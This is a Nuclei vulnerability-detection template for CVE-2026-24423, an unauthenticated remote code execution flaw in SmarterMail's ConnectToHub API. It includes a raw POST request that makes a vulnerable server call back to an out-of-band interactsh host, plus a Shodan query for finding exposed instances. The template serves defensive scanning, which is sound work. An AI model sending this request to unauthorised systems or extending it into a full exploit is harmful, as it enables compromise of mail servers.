id: CVE-2026-24423

info:
  name: SmarterMail - Remote Code Execution
  author: jyoti369
  severity: critical
  description: |
    SmarterTools SmarterMail < build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Update to build 9511 or later.
  reference:
    - https://www.vulncheck.com/blog/smartermail-connecttohub-rce-cve-2026-24423
    - https://code-white.com/public-vulnerability-list/
    - https://www.smartertools.com/smartermail/release-notes/current
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24423
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-24423
    epss-score: 0.81907
    epss-percentile: 0.99221
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SmarterMail"
  tags: cve,cve2026,smartermail,rce,oast,kev,vkev

http:
  - raw:
      - |
        POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"hubAddress":"http://{{interactsh-url}}","oneTimePassword":"{{randstr}}","nodeName":"{{randstr}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "setup-initial-connection"
# digest: 4b0a00483046022100eae97daa9a85ce7cbfa214547086578e7a7e3789fc1d5e633f2a3ee4e34bc80c022100833e7dd5272a053d56e1b6027c39b5db8944586e270b79c216da1d4a2379c553:922c64590222798bb761d5b6d8e72950